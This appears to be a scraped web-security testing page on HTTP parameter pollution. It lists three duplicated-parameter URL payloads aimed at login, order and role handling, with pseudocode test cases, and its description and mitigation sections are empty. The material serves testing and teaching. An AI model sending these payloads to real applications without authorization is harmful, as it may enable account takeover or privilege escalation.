Parameter Pollution
Description
Example with Scenario
Payloads and Test Cases
/login?user=admin&user=attacker/order?item=book&item=laptop/action?role=admin&role=user
/login?user=admin&user=attacker# Send payload to the server sendPayloadToServer("/login?user=admin&user=attacker") # Verify if the application logs in as admin checkAuthentication("admin")
/order?item=book&item=laptop# Send payload to the server sendPayloadToServer("/order?item=book&item=laptop") # Verify if the application processes both items checkOrderItems(["book", "laptop"])
/action?role=admin&role=user# Send payload to the server sendPayloadToServer("/action?role=admin&role=user") # Verify if the application processes the first or last role checkRoleProcessing(["admin", "user"])
Mitigation
Last updated